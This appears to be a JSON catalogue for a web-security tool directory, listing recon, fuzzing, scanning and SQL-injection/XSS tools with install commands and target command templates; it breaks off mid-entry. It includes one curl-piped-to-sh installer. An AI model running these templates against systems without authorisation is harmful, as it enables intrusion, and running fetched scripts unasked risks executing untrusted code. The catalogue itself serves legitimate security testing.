{ "macros": [ { "id": "recon", "label": "Recon" }, { "id": "web", "label": "Web" }, { "id": "exploit", "label": "Exploitation" }, { "id": "post", "label": "Post-Exploitation" } ], "categories": [ { "id": "recon", "label": "Recon / Subdomains", "macro": "recon" }, { "id": "http", "label": "HTTP Probing", "macro": "recon" }, { "id": "ports", "label": "Port Scanning", "macro": "recon" }, { "id": "crawl", "label": "Crawling / URLs", "macro": "recon" }, { "id": "js", "label": "JS Analysis", "macro": "recon" }, { "id": "visual", "label": "Screenshots", "macro": "recon" }, { "id": "cloud", "label": "Cloud / ASN", "macro": "recon" }, { "id": "secrets", "label": "Secrets / Leaks", "macro": "recon" }, { "id": "discovery", "label": "Content Discovery", "macro": "web" }, { "id": "params", "label": "Parameter Discovery", "macro": "web" }, { "id": "cms", "label": "CMS", "macro": "web" }, { "id": "graphql", "label": "GraphQL", "macro": "web" }, { "id": "utils", "label": "Data Wrangling", "macro": "web" }, { "id": "vuln", "label": "Vuln Scanning", "macro": "exploit" }, { "id": "inject", "label": "Injection / XSS / SQLi", "macro": "exploit" }, { "id": "smuggling", "label": "Request Smuggling", "macro": "exploit" }, { "id": "deserialize", "label": "Deserialization", "macro": "exploit" }, { "id": "oob", "label": "OOB / Proxies", "macro": "exploit" }, { "id": "pivot", "label": "Pivoting / Tunneling", "macro": "post" }, { "id": "privesc", "label": "Privilege Escalation", "macro": "post" } ], "tools": [ { "slug": "subfinder", "name": "subfinder", "category": "recon", "tags": [ "subdomains", "passive", "projectdiscovery" ], "desc": "Fast passive subdomain enumeration that aggregates 30+ public sources. The default first step of almost every recon workflow.", "repo": "https://github.com/projectdiscovery/subfinder", "docs": "https://docs.projectdiscovery.io/tools/subfinder", "activity": "active", "stars": "10k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest" }, { "method": "brew", "cmd": "brew install subfinder" }, { "method": "pdtm", "cmd": "pdtm -i subfinder" } ], "templates": [ { "label": "Passive enum → file", "tpl": "subfinder -d {domain} -all -recursive -o {output}", "fields": { "domain": { "ph": "target.com" }, "output": { "def": "subs.txt" } } }, { "label": "Silent (pipe-friendly)", "tpl": "subfinder -d {domain} -all -silent", "fields": { "domain": { "ph": "target.com" } } } ], "related": [ "amass", "assetfinder", "dnsx", "httpx", "puredns" ] }, { "slug": "amass", "name": "amass", "category": "recon", "tags": [ "subdomains", "passive", "active", "owasp", "graph" ], "desc": "In-depth attack-surface mapping and asset discovery. Slower and heavier than subfinder but finds more via active enumeration and its graph DB.", "repo": "https://github.com/owasp-amass/amass", "docs": "https://github.com/owasp-amass/amass/blob/master/doc/user_guide.md", "activity": "active", "stars": "12k+", "install": [ { "method": "go", "cmd": "go install -v github.com/owasp-amass/amass/v4/...@master" }, { "method": "brew", "cmd": "brew install amass" }, { "method": "snap", "cmd": "sudo snap install amass" } ], "templates": [ { "label": "Passive enum", "tpl": "amass enum -passive -d {domain} -o {output}", "fields": { "domain": { "ph": "target.com" }, "output": { "def": "amass.txt" } } }, { "label": "Active + brute", "tpl": "amass enum -active -brute -d {domain} -o {output}", "fields": { "domain": { "ph": "target.com" }, "output": { "def": "amass.txt" } } } ], "related": [ "subfinder", "dnsx", "puredns" ] }, { "slug": "assetfinder", "name": "assetfinder", "category": "recon", "tags": [ "subdomains", "passive", "tomnomnom" ], "desc": "Tiny, fast passive subdomain finder. Great as an extra source to pipe into anew alongside subfinder.", "repo": "https://github.com/tomnomnom/assetfinder", "activity": "slow", "stars": "3k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/assetfinder@latest" } ], "templates": [ { "label": "Subdomains only", "tpl": "assetfinder --subs-only {domain}", "fields": { "domain": { "ph": "target.com" } } } ], "related": [ "subfinder", "amass", "anew" ] }, { "slug": "dnsx", "name": "dnsx", "category": "recon", "tags": [ "dns", "resolver", "projectdiscovery" ], "desc": "Fast, multi-purpose DNS toolkit: resolve, probe records, and filter live hosts from a subdomain list.", "repo": "https://github.com/projectdiscovery/dnsx", "docs": "https://docs.projectdiscovery.io/tools/dnsx", "activity": "active", "stars": "2k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest" }, { "method": "pdtm", "cmd": "pdtm -i dnsx" } ], "templates": [ { "label": "Resolve live", "tpl": "dnsx -l {input} -silent -o {output}", "fields": { "input": { "def": "subs.txt" }, "output": { "def": "resolved.txt" } } }, { "label": "A + CNAME records", "tpl": "dnsx -l {input} -a -cname -resp", "fields": { "input": { "def": "subs.txt" } } } ], "related": [ "subfinder", "puredns", "shuffledns", "httpx" ] }, { "slug": "puredns", "name": "puredns", "category": "recon", "tags": [ "dns", "bruteforce", "resolver", "massdns" ], "desc": "Fast DNS resolver and subdomain bruteforcer built on massdns, with wildcard filtering that keeps results clean.", "repo": "https://github.com/d3mondev/puredns", "activity": "maintained", "stars": "2k+", "install": [ { "method": "go", "cmd": "go install github.com/d3mondev/puredns/v2@latest" } ], "templates": [ { "label": "Bruteforce", "tpl": "puredns bruteforce {wordlist} {domain} -r {resolvers} -w {output}", "fields": { "wordlist": { "def": "best-dns-wordlist.txt" }, "domain": { "ph": "target.com" }, "resolvers": { "def": "resolvers.txt" }, "output": { "def": "brute.txt" } } }, { "label": "Resolve list", "tpl": "puredns resolve {input} -r {resolvers} -w {output}", "fields": { "input": { "def": "subs.txt" }, "resolvers": { "def": "resolvers.txt" }, "output": { "def": "resolved.txt" } } } ], "related": [ "dnsx", "shuffledns", "amass" ] }, { "slug": "shuffledns", "name": "shuffledns", "category": "recon", "tags": [ "dns", "bruteforce", "massdns", "projectdiscovery" ], "desc": "massdns wrapper for active bruteforce and resolution with wildcard handling. Alternative to puredns.", "repo": "https://github.com/projectdiscovery/shuffledns", "activity": "maintained", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest" } ], "templates": [ { "label": "Bruteforce", "tpl": "shuffledns -d {domain} -w {wordlist} -r {resolvers} -o {output}", "fields": { "domain": { "ph": "target.com" }, "wordlist": { "def": "dns-wordlist.txt" }, "resolvers": { "def": "resolvers.txt" }, "output": { "def": "brute.txt" } } } ], "related": [ "puredns", "dnsx", "massdns" ] }, { "slug": "httpx", "name": "httpx", "category": "http", "tags": [ "http", "probe", "tech-detect", "projectdiscovery" ], "desc": "Fast, multi-purpose HTTP toolkit. Probes for live hosts and pulls status, title, tech, CDN, and more. The bridge between recon and scanning.", "repo": "https://github.com/projectdiscovery/httpx", "docs": "https://docs.projectdiscovery.io/tools/httpx", "activity": "active", "stars": "8k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest" }, { "method": "brew", "cmd": "brew install httpx" }, { "method": "pdtm", "cmd": "pdtm -i httpx" } ], "templates": [ { "label": "Probe + enrich", "tpl": "httpx -l {input} -sc -title -tech-detect -o {output}", "fields": { "input": { "def": "resolved.txt" }, "output": { "def": "live.txt" } } }, { "label": "Silent URLs only", "tpl": "httpx -l {input} -silent", "fields": { "input": { "def": "subs.txt" } } } ], "related": [ "subfinder", "dnsx", "nuclei", "katana", "gowitness" ] }, { "slug": "naabu", "name": "naabu", "category": "ports", "tags": [ "ports", "scan", "syn", "projectdiscovery" ], "desc": "Fast SYN/CONNECT port scanner focused on reliability. Feeds open ports into httpx/nuclei.", "repo": "https://github.com/projectdiscovery/naabu", "docs": "https://docs.projectdiscovery.io/tools/naabu", "activity": "active", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest" }, { "method": "pdtm", "cmd": "pdtm -i naabu" } ], "templates": [ { "label": "Top ports", "tpl": "naabu -l {input} -top-ports {ports} -o {output}", "fields": { "input": { "def": "resolved.txt" }, "ports": { "def": "1000" }, "output": { "def": "ports.txt" } } }, { "label": "Full + nmap", "tpl": "naabu -host {host} -p - -nmap-cli 'nmap -sV -sC'", "fields": { "host": { "ph": "target.com" } } } ], "related": [ "nmap", "masscan", "rustscan", "httpx" ] }, { "slug": "nmap", "name": "nmap", "category": "ports", "tags": [ "ports", "scan", "service", "scripts", "classic" ], "desc": "The classic network scanner. Service/version detection, NSE scripts, and OS fingerprinting. Slow but authoritative.", "repo": "https://github.com/nmap/nmap", "docs": "https://nmap.org/book/", "activity": "active", "stars": "10k+", "install": [ { "method": "apt", "cmd": "sudo apt install -y nmap" }, { "method": "brew", "cmd": "brew install nmap" } ], "templates": [ { "label": "Service + default scripts", "tpl": "nmap -sV -sC -oA {output} {host}", "fields": { "host": { "ph": "target.com" }, "output": { "def": "nmap-scan" } } }, { "label": "Fast all-ports", "tpl": "nmap -p- --min-rate 5000 -T4 {host}", "fields": { "host": { "ph": "target.com" } } } ], "related": [ "naabu", "masscan", "rustscan" ] }, { "slug": "rustscan", "name": "rustscan", "category": "ports", "tags": [ "ports", "scan", "fast", "rust" ], "desc": "Ultra-fast port scanner that pipes open ports straight into nmap for follow-up enumeration.", "repo": "https://github.com/RustScan/RustScan", "activity": "maintained", "stars": "14k+", "install": [ { "method": "cargo", "cmd": "cargo install rustscan" }, { "method": "brew", "cmd": "brew install rustscan" } ], "templates": [ { "label": "Scan → nmap", "tpl": "rustscan -a {host} -- -sV -sC", "fields": { "host": { "ph": "target.com" } } } ], "related": [ "nmap", "naabu", "masscan" ] }, { "slug": "ffuf", "name": "ffuf", "category": "discovery", "tags": [ "fuzzing", "content-discovery", "go", "fast" ], "desc": "Fast web fuzzer for directories, files, vhosts, and parameters. The de-facto content discovery tool.", "repo": "https://github.com/ffuf/ffuf", "docs": "https://github.com/ffuf/ffuf/wiki", "activity": "active", "stars": "13k+", "install": [ { "method": "go", "cmd": "go install github.com/ffuf/ffuf/v2@latest" }, { "method": "apt", "cmd": "sudo apt install -y ffuf" } ], "templates": [ { "label": "Directory brute", "tpl": "ffuf -u {url}/FUZZ -w {wordlist} -mc {codes} -o {output}", "fields": { "url": { "ph": "https://target.com" }, "wordlist": { "def": "raft-medium-directories.txt" }, "codes": { "def": "200,204,301,302,307,401,403" }, "output": { "def": "ffuf.json" } } }, { "label": "VHost fuzz", "tpl": "ffuf -u {url} -H 'Host: FUZZ.{domain}' -w {wordlist} -fs {filtersize}", "fields": { "url": { "ph": "https://target.com" }, "domain": { "ph": "target.com" }, "wordlist": { "def": "subdomains-top1million-5000.txt" }, "filtersize": { "ph": "4242" } } } ], "related": [ "feroxbuster", "gobuster", "arjun", "katana" ] }, { "slug": "feroxbuster", "name": "feroxbuster", "category": "discovery", "tags": [ "fuzzing", "content-discovery", "recursive", "rust" ], "desc": "Recursive content discovery in Rust. Auto-recurses into found directories and is fast out of the box.", "repo": "https://github.com/epi052/feroxbuster", "activity": "active", "stars": "6k+", "install": [ { "method": "cargo", "cmd": "cargo install feroxbuster" }, { "method": "brew", "cmd": "brew install feroxbuster" }, { "method": "apt", "cmd": "sudo apt install -y feroxbuster" } ], "templates": [ { "label": "Recursive scan", "tpl": "feroxbuster -u {url} -w {wordlist} -o {output}", "fields": { "url": { "ph": "https://target.com" }, "wordlist": { "def": "raft-medium-directories.txt" }, "output": { "def": "ferox.txt" } } } ], "related": [ "ffuf", "gobuster", "dirsearch" ] }, { "slug": "gobuster", "name": "gobuster", "category": "discovery", "tags": [ "fuzzing", "content-discovery", "dns", "go" ], "desc": "Directory/file, DNS, and vhost bruteforcer. Simple and reliable.", "repo": "https://github.com/OJ/gobuster", "activity": "maintained", "stars": "10k+", "install": [ { "method": "go", "cmd": "go install github.com/OJ/gobuster/v3@latest" }, { "method": "apt", "cmd": "sudo apt install -y gobuster" } ], "templates": [ { "label": "Directory mode", "tpl": "gobuster dir -u {url} -w {wordlist} -o {output}", "fields": { "url": { "ph": "https://target.com" }, "wordlist": { "def": "directory-list-2.3-medium.txt" }, "output": { "def": "gobuster.txt" } } } ], "related": [ "ffuf", "feroxbuster" ] }, { "slug": "katana", "name": "katana", "category": "crawl", "tags": [ "crawler", "urls", "headless", "projectdiscovery" ], "desc": "Next-gen crawler with headless mode and JS parsing. Extracts URLs and endpoints for further testing.", "repo": "https://github.com/projectdiscovery/katana", "docs": "https://docs.projectdiscovery.io/tools/katana", "activity": "active", "stars": "12k+", "install": [ { "method": "go", "cmd": "go install github.com/projectdiscovery/katana/cmd/katana@latest" }, { "method": "pdtm", "cmd": "pdtm -i katana" } ], "templates": [ { "label": "Crawl a host", "tpl": "katana -u {url} -jc -o {output}", "fields": { "url": { "ph": "https://target.com" }, "output": { "def": "urls.txt" } } }, { "label": "Headless deep crawl", "tpl": "katana -list {input} -headless -jc -d {depth} -o {output}", "fields": { "input": { "def": "live.txt" }, "depth": { "def": "3" }, "output": { "def": "urls.txt" } } } ], "related": [ "hakrawler", "gospider", "gau", "waybackurls" ] }, { "slug": "gau", "name": "gau", "category": "crawl", "tags": [ "urls", "wayback", "passive" ], "desc": "getallurls — pulls known URLs from the Wayback Machine, Common Crawl, OTX, and URLScan. Instant historical URL corpus.", "repo": "https://github.com/lc/gau", "activity": "maintained", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install github.com/lc/gau/v2/cmd/gau@latest" } ], "templates": [ { "label": "All known URLs", "tpl": "gau {domain} | anew {output}", "fields": { "domain": { "ph": "target.com" }, "output": { "def": "urls.txt" } } } ], "related": [ "waybackurls", "katana", "qsreplace", "gf" ] }, { "slug": "waybackurls", "name": "waybackurls", "category": "crawl", "tags": [ "urls", "wayback", "passive", "tomnomnom" ], "desc": "Fetches URLs a domain has served, from the Wayback Machine. Classic passive URL source.", "repo": "https://github.com/tomnomnom/waybackurls", "activity": "slow", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/waybackurls@latest" } ], "templates": [ { "label": "Fetch URLs", "tpl": "waybackurls {domain} | anew {output}", "fields": { "domain": { "ph": "target.com" }, "output": { "def": "urls.txt" } } } ], "related": [ "gau", "katana", "unfurl" ] }, { "slug": "hakrawler", "name": "hakrawler", "category": "crawl", "tags": [ "crawler", "urls", "fast", "hakluke" ], "desc": "Fast, simple web crawler for gathering URLs and JS endpoints. Pipe-friendly.", "repo": "https://github.com/hakluke/hakrawler", "activity": "maintained", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install github.com/hakluke/hakrawler@latest" } ], "templates": [ { "label": "Crawl from stdin", "tpl": "echo {url} | hakrawler -d {depth}", "fields": { "url": { "ph": "https://target.com" }, "depth": { "def": "2" } } } ], "related": [ "katana", "gospider", "gau" ] }, { "slug": "nuclei", "name": "nuclei", "category": "vuln", "tags": [ "scanner", "templates", "cve", "projectdiscovery" ], "desc": "Template-based vulnerability scanner with thousands of community templates for CVEs, misconfigs, exposures, and takeovers. The workhorse of modern bug bounty.", "repo": "https://github.com/projectdiscovery/nuclei", "docs": "https://docs.projectdiscovery.io/tools/nuclei", "activity": "active", "stars": "20k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest" }, { "method": "brew", "cmd": "brew install nuclei" }, { "method": "pdtm", "cmd": "pdtm -i nuclei" } ], "templates": [ { "label": "Scan live hosts", "tpl": "nuclei -l {input} -severity {severity} -o {output}", "fields": { "input": { "def": "live.txt" }, "severity": { "def": "critical,high" }, "output": { "def": "nuclei.txt" } } }, { "label": "Specific templates", "tpl": "nuclei -l {input} -t {templates} -o {output}", "fields": { "input": { "def": "live.txt" }, "templates": { "def": "http/cves/" }, "output": { "def": "nuclei.txt" } } } ], "related": [ "httpx", "subfinder", "jaeles", "interactsh" ] }, { "slug": "jaeles", "name": "jaeles", "category": "vuln", "tags": [ "scanner", "signatures", "web" ], "desc": "Signature-based web application scanner. Powerful custom signature format for targeted checks.", "repo": "https://github.com/jaeles-project/jaeles", "activity": "slow", "stars": "2k+", "install": [ { "method": "go", "cmd": "go install github.com/jaeles-project/jaeles@latest" } ], "templates": [ { "label": "Scan with signatures", "tpl": "jaeles scan -s {signatures} -u {url}", "fields": { "signatures": { "def": "'sensitive/.*'" }, "url": { "ph": "https://target.com" } } } ], "related": [ "nuclei" ] }, { "slug": "arjun", "name": "arjun", "category": "params", "tags": [ "parameters", "discovery", "python" ], "desc": "HTTP parameter discovery suite. Finds hidden query/body parameters by inference — great before hunting injection.", "repo": "https://github.com/s0md3v/Arjun", "activity": "maintained", "stars": "4k+", "install": [ { "method": "pipx", "cmd": "pipx install arjun" }, { "method": "pip", "cmd": "pip install arjun" } ], "templates": [ { "label": "Find params", "tpl": "arjun -u {url} -oT {output}", "fields": { "url": { "ph": "https://target.com/page" }, "output": { "def": "params.txt" } } } ], "related": [ "paramspider", "x8", "ffuf" ] }, { "slug": "paramspider", "name": "paramspider", "category": "params", "tags": [ "parameters", "wayback", "python" ], "desc": "Mines parameters from the Wayback Machine to build a list of testable URLs with query strings.", "repo": "https://github.com/devanshbatham/ParamSpider", "activity": "maintained", "stars": "3k+", "install": [ { "method": "git", "cmd": "git clone https://github.com/devanshbatham/ParamSpider && cd ParamSpider && pip install ." } ], "templates": [ { "label": "Mine params", "tpl": "paramspider -d {domain}", "fields": { "domain": { "ph": "target.com" } } } ], "related": [ "arjun", "gau", "qsreplace" ] }, { "slug": "dalfox", "name": "dalfox", "category": "inject", "tags": [ "xss", "scanner", "go", "fast" ], "desc": "Fast, powerful XSS scanner and parameter analyzer. Verifies reflections and builds working payloads.", "repo": "https://github.com/hahwul/dalfox", "docs": "https://dalfox.hahwul.com/", "activity": "active", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install github.com/hahwul/dalfox/v2@latest" }, { "method": "brew", "cmd": "brew install dalfox" } ], "templates": [ { "label": "Scan URL list", "tpl": "dalfox file {input} -o {output}", "fields": { "input": { "def": "params.txt" }, "output": { "def": "xss.txt" } } }, { "label": "Pipe from gf", "tpl": "cat {input} | gf xss | qsreplace 'FUZZ' | dalfox pipe", "fields": { "input": { "def": "urls.txt" } } } ], "related": [ "gf", "qsreplace", "arjun", "katana" ] }, { "slug": "sqlmap", "name": "sqlmap", "category": "inject", "tags": [ "sqli", "scanner", "python", "classic" ], "desc": "The definitive automatic SQL injection and database takeover tool. Deep detection and exploitation across many DBMSes.", "repo": "https://github.com/sqlmapproject/sqlmap", "docs": "https://github.com/sqlmapproject/sqlmap/wiki", "activity": "active", "stars": "32k+", "install": [ { "method": "git", "cmd": "git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git" }, { "method": "apt", "cmd": "sudo apt install -y sqlmap" } ], "templates": [ { "label": "Test a URL", "tpl": "sqlmap -u '{url}' --batch --risk {risk} --level {level}", "fields": { "url": { "ph": "https://target.com/item?id=1" }, "risk": { "def": "2" }, "level": { "def": "2" } } }, { "label": "From request file", "tpl": "sqlmap -r {request} --batch --dbs", "fields": { "request": { "def": "req.txt" } } } ], "related": [ "ghauri", "arjun", "gf" ] }, { "slug": "gf", "name": "gf", "category": "utils", "tags": [ "grep", "patterns", "tomnomnom" ], "desc": "A wrapper around grep with reusable pattern packs (xss, sqli, ssrf, lfi, redirect). Instantly slices URL lists into likely-vulnerable candidates.", "repo": "https://github.com/tomnomnom/gf", "activity": "slow", "stars": "3k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/gf@latest" } ], "templates": [ { "label": "Filter for pattern", "tpl": "cat {input} | gf {pattern}", "fields": { "input": { "def": "urls.txt" }, "pattern": { "def": "xss" } } } ], "related": [ "qsreplace", "anew", "unfurl", "dalfox" ] }, { "slug": "qsreplace", "name": "qsreplace", "category": "utils", "tags": [ "urls", "query", "tomnomnom" ], "desc": "Replaces query-string values in a list of URLs with a supplied value. Essential glue for building fuzz targets.", "repo": "https://github.com/tomnomnom/qsreplace", "activity": "slow", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/qsreplace@latest" } ], "templates": [ { "label": "Inject marker", "tpl": "cat {input} | qsreplace '{value}'", "fields": { "input": { "def": "urls.txt" }, "value": { "def": "FUZZ" } } } ], "related": [ "gf", "anew", "dalfox" ] }, { "slug": "anew", "name": "anew", "category": "utils", "tags": [ "dedup", "append", "tomnomnom" ], "desc": "Appends only new, unique lines to a file (and prints them). The one-line dedup that makes pipelines idempotent.", "repo": "https://github.com/tomnomnom/anew", "activity": "slow", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/anew@latest" } ], "templates": [ { "label": "Append unique", "tpl": "cat {input} | anew {output}", "fields": { "input": { "def": "new.txt" }, "output": { "def": "all.txt" } } } ], "related": [ "gf", "qsreplace", "unfurl" ] }, { "slug": "unfurl", "name": "unfurl", "category": "utils", "tags": [ "urls", "parse", "tomnomnom" ], "desc": "Pulls out and formats parts of URLs (domains, paths, params, keys). Handy for building custom wordlists from URL corpora.", "repo": "https://github.com/tomnomnom/unfurl", "activity": "slow", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/tomnomnom/unfurl@latest" } ], "templates": [ { "label": "Extract domains", "tpl": "cat {input} | unfurl domains", "fields": { "input": { "def": "urls.txt" } } }, { "label": "Param keys", "tpl": "cat {input} | unfurl keys", "fields": { "input": { "def": "urls.txt" } } } ], "related": [ "gf", "anew", "gau" ] }, { "slug": "gowitness", "name": "gowitness", "category": "visual", "tags": [ "screenshots", "go", "recon" ], "desc": "Screenshots web pages using headless Chrome and stores results in a searchable report. Fast way to triage large host lists.", "repo": "https://github.com/sensepost/gowitness", "activity": "active", "stars": "3k+", "install": [ { "method": "go", "cmd": "go install github.com/sensepost/gowitness@latest" } ], "templates": [ { "label": "Screenshot list", "tpl": "gowitness scan file -f {input}", "fields": { "input": { "def": "live.txt" } } } ], "related": [ "httpx", "katana" ] }, { "slug": "getjs", "name": "getJS", "category": "js", "tags": [ "javascript", "endpoints", "recon" ], "desc": "Extracts JavaScript file URLs from a set of pages — the first step of JS recon for secrets and hidden endpoints.", "repo": "https://github.com/003random/getJS", "activity": "maintained", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install github.com/003random/getJS@latest" } ], "templates": [ { "label": "Extract JS URLs", "tpl": "getJS --url {url} --complete", "fields": { "url": { "ph": "https://target.com" } } } ], "related": [ "subjs", "linkfinder", "katana" ] }, { "slug": "linkfinder", "name": "LinkFinder", "category": "js", "tags": [ "javascript", "endpoints", "python" ], "desc": "Parses JavaScript files with regex to discover endpoints and paths. Reveals API routes hidden in bundles.", "repo": "https://github.com/GerbenJavado/LinkFinder", "activity": "slow", "stars": "3k+", "install": [ { "method": "git", "cmd": "git clone https://github.com/GerbenJavado/LinkFinder && cd LinkFinder && pip install -r requirements.txt" } ], "templates": [ { "label": "Parse a JS file", "tpl": "python3 linkfinder.py -i {url} -o cli", "fields": { "url": { "ph": "https://target.com/app.js" } } } ], "related": [ "getjs", "subjs" ] }, { "slug": "wpscan", "name": "wpscan", "category": "cms", "tags": [ "wordpress", "scanner", "ruby" ], "desc": "WordPress security scanner — enumerates plugins, themes, users, and known vulnerabilities. Needs an API token for vuln data.", "repo": "https://github.com/wpscanteam/wpscan", "docs": "https://github.com/wpscanteam/wpscan#usage", "activity": "maintained", "stars": "8k+", "install": [ { "method": "gem", "cmd": "gem install wpscan" } ], "templates": [ { "label": "Enumerate", "tpl": "wpscan --url {url} --enumerate {enum} --api-token {token}", "fields": { "url": { "ph": "https://target.com" }, "enum": { "def": "vp,vt,u" }, "token": { "ph": "WPSCAN_API_TOKEN" } } } ], "related": [ "nuclei" ] }, { "slug": "s3scanner", "name": "s3scanner", "category": "cloud", "tags": [ "aws", "buckets", "cloud" ], "desc": "Scans for open S3 buckets (and other cloud storage) and dumps their permissions. Fast cloud misconfig discovery.", "repo": "https://github.com/sa7mon/S3Scanner", "activity": "maintained", "stars": "3k+", "install": [ { "method": "pipx", "cmd": "pipx install s3scanner" }, { "method": "go", "cmd": "go install -v github.com/sa7mon/s3scanner@latest" } ], "templates": [ { "label": "Scan bucket list", "tpl": "s3scanner -bucket-file {input}", "fields": { "input": { "def": "buckets.txt" } } } ], "related": [ "nuclei" ] }, { "slug": "interactsh", "name": "interactsh", "category": "oob", "tags": [ "oob", "ssrf", "blind", "projectdiscovery" ], "desc": "Out-of-band interaction gathering (OOB/OAST). Catches blind SSRF, RCE, and XXE via DNS/HTTP callbacks. Self-hostable.", "repo": "https://github.com/projectdiscovery/interactsh", "docs": "https://docs.projectdiscovery.io/tools/interactsh", "activity": "active", "stars": "4k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest" } ], "templates": [ { "label": "Start client", "tpl": "interactsh-client -v", "fields": {} } ], "related": [ "nuclei", "burpsuite" ] }, { "slug": "notify", "name": "notify", "category": "utils", "tags": [ "alerts", "automation", "projectdiscovery" ], "desc": "Streams tool output to Slack/Discord/Telegram. Wire it into pipelines to get pinged on new findings.", "repo": "https://github.com/projectdiscovery/notify", "activity": "maintained", "stars": "1k+", "install": [ { "method": "go", "cmd": "go install -v github.com/projectdiscovery/notify/cmd/notify@latest" }, { "method": "pdtm", "cmd": "pdtm -i notify" } ], "templates": [ { "label": "Pipe alerts", "tpl": "cat {input} | notify -bulk", "fields": { "input": { "def": "nuclei.txt" } } } ], "related": [ "nuclei", "anew" ] }, { "slug": "burpsuite", "name": "Burp Suite", "category": "oob", "tags": [ "proxy", "web", "manual", "gui" ], "desc": "The industry-standard intercepting proxy for manual web testing. Community edition is free; Pro adds the active scanner and automation.", "repo": "https://portswigger.net/burp", "docs": "https://portswigger.net/burp/documentation", "activity": "active", "stars": "n/a", "install": [ { "method": "web", "cmd": "https://portswigger.net/burp/communitydownload" } ], "templates": [], "related": [ "caido", "zaproxy", "interactsh" ] }, { "slug": "caido", "name": "Caido", "category": "oob", "tags": [ "proxy", "web", "manual", "modern" ], "desc": "A modern, lightweight web proxy and pentest toolkit — a fast alternative to Burp with a clean workflow and scriptable automation.", "repo": "https://caido.io/", "docs": "https://docs.caido.io/", "activity": "active", "stars": "n/a", "install": [ { "method": "web", "cmd": "https://caido.io/download" } ], "templates": [], "related": [ "burpsuite", "zaproxy" ] }, { "slug": "trufflehog", "name": "trufflehog", "category": "secrets", "tags": [ "secrets", "credentials", "verified", "git" ], "desc": "Scans git history, filesystems, and URLs for leaked credentials — and actually verifies them live against 800+ APIs, so you get confirmed secrets, not regex noise.", "repo": "https://github.com/trufflesecurity/trufflehog", "docs": "https://github.com/trufflesecurity/trufflehog#floppy_disk-installation", "activity": "active", "stars": "16k+", "install": [ { "method": "brew", "cmd": "brew install trufflehog" }, { "method": "script", "cmd": "curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin" } ], "templates": [ { "label": "Scan a git repo (verified only)", "tpl": "trufflehog git {repo} --only-verified", "fields": { "repo": { "ph": "https://github.com/org/repo" } } }, { "label": "Scan a live host", "tpl": "trufflehog filesystem {path} --only-verified", "fields": { "path": { "def": "./" } } } ], "related": [ "gitleaks", "jsluice", "getjs" ] }, { "slug": "gitleaks", "name": "gitleaks", "category": "secrets", "tags": [ "secrets", "git", "regex", "ci" ], "desc": "Fast secret detection across git history and files with a strong default ruleset. Ideal for scanning cloned target repos and exposed .git folders.", "repo": "https://github.com/gitleaks/gitleaks", "activity": "active", "stars": "16k+", "install": [ { "method": "brew", "cmd": "brew install gitleaks" }, { "method": "go", "cmd": "go install github.com/gitleaks/gitleaks/v8@latest" } ], "templates": [ { "label": "Scan a repo dir", "tpl": "gitleaks detect --source {path} -v", "fields": { "path": { "def": "./" } } } ], "related": [ "trufflehog", "jsluice" ] }, { "slug": "jsluice", "name": "jsluice", "category": "js", "tags": [ "javascript", "endpoints", "secrets", "ast" ], "desc": "Extracts URLs, paths, and secrets from JavaScript by parsing the AST (not regex) — far more accurate than LinkFinder for modern bundles.", "repo": "https://github.com/BishopFox/jsluice", "activity": "maintained", "stars": "2k+", "install": [ { "method": "go", "cmd": "go install github.com/BishopFox/jsluice/cmd/jsluice@latest" } ], "templates": [ { "label": "Extract URLs", "tpl": "cat {input} | jsluice urls", "fields": { "input": { "def": "jsfiles.txt" } } }, { "label": "Extract secrets", "tpl": "cat {input} | jsluice secrets", "fields": { "input": { "def": "jsfiles.txt" } } } ], "related": [ "getjs", "linkfinder", "trufflehog" ] }, { "slug": "kiterunner", "name": "kiterunner", "category": "discovery", "tags": [ "api", "content-discovery", "routes", "assetnote" ], "desc": "Context-aware content discovery built for APIs. Uses real request templates (from 67k+ Swagger specs) instead of dumb path lists, catching routes that need specific methods/headers.", "repo": "https://github.com/assetnote/kiterunner", "activity": "slow", "stars": "3k+", "install": [ { "method": "release", "cmd": "wget https://github.com/assetnote/kiterunner/releases/latest/download/kiterunner_linux_amd64.tar.gz && tar -xzf kiterunner_linux_amd64.tar.gz" } ], "templates": [ { "label": "Scan with routes", "tpl": "kr scan {url} -w {routes} -x {threads}", "fields": { "url": { "ph": "https://target.com" }, "routes": { "def": "routes-large.kite" }, "threads": { "def": "20" } } } ], "related": [ "ffuf", "arjun", "katana" ] }, { "slug": "x8", "name": "x8", "category": "params", "tags": [ "parameters", "hidden", "rust", "fast" ], "desc": "High-signal hidden parameter discovery in Rust. Detects reflected, stored, and behavior-changing params with fewer false positives than brute forcers.", "repo": "https://github.com/Sh1Yo/x8", "activity": "maintained", "stars": "2k+", "install": [ { "method": "cargo", "cmd": "cargo install x8" } ], "templates": [ { "label": "Find params", "tpl": "x8 -u {url} -w {wordlist}", "fields": { "url": { "ph": "https://target.com/api" }, "wordlist": { "def": "params.txt" } } } ], "related": [ "arjun", "paramspider", "ffuf" ] }, { "slug": "smuggler", "name": "smuggler", "category": "smuggling", "tags": [ "request-smuggling", "desync", "http" ], "desc": "Detects HTTP request smuggling (CL.TE / TE.CL desync) against a target with minimal, safe probes. First stop before manual 